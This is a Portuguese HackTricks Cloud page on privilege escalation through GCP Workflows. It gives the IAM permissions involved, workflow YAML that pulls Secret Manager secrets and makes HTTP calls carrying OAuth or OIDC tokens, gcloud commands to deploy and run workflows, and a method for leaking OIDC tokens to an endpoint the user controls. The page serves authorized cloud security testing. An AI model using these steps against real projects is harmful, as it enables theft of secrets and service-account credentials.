GCP - Workflows Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Workflows
Informação Básica:
workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)
Pelo que sei, não é possível obter um shell com acesso ao endpoint de metadata contendo as credenciais da SA anexada a um Workflow. Entretanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.
É possível encontrar a documentação dos conectores. Por exemplo, esta é a page of the Secretmanager connector. Na barra lateral é possível encontrar vários outros conectores.
E aqui você pode encontrar um exemplo de um conector que imprime um segredo:
Configuração YAML do Workflow para acessar segredos
```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```Atualização pela CLI:
Implantar e executar workflows pela CLI
```bash gcloud workflows deploySe você não tiver acesso web, é possível acionar e ver a execução de um Workflow com:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
Caution
Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis
Observe que mesmo se você receber um erro como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque não possui essa permissão, o workflow foi gerado.
Leak OIDC token (and OAuth?)
De acordo com a documentação é possível usar passos do workflow que enviarão uma requisição HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do Cloud Scheduler, a requisição HTTP com o token OAuth deve ser para o host .googleapis.com.
Caution
Portanto, é possível leak o token OIDC indicando um endpoint HTTP controlado pelo usuário, mas para leak o token OAuth você precisaria de um bypass para essa proteção. Entretanto, você ainda pode contatar qualquer GCP api para executar ações em nome do SA usando conectores ou requisições HTTP com o token OAuth.
Oauth
Requisição HTTP do workflow com token OAuth
```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```Requisição HTTP do Workflow com token OIDC
```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```Com essa permissão, em vez de workflows.workflows.create, é possível atualizar um workflow já existente e realizar os mesmos ataques.
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

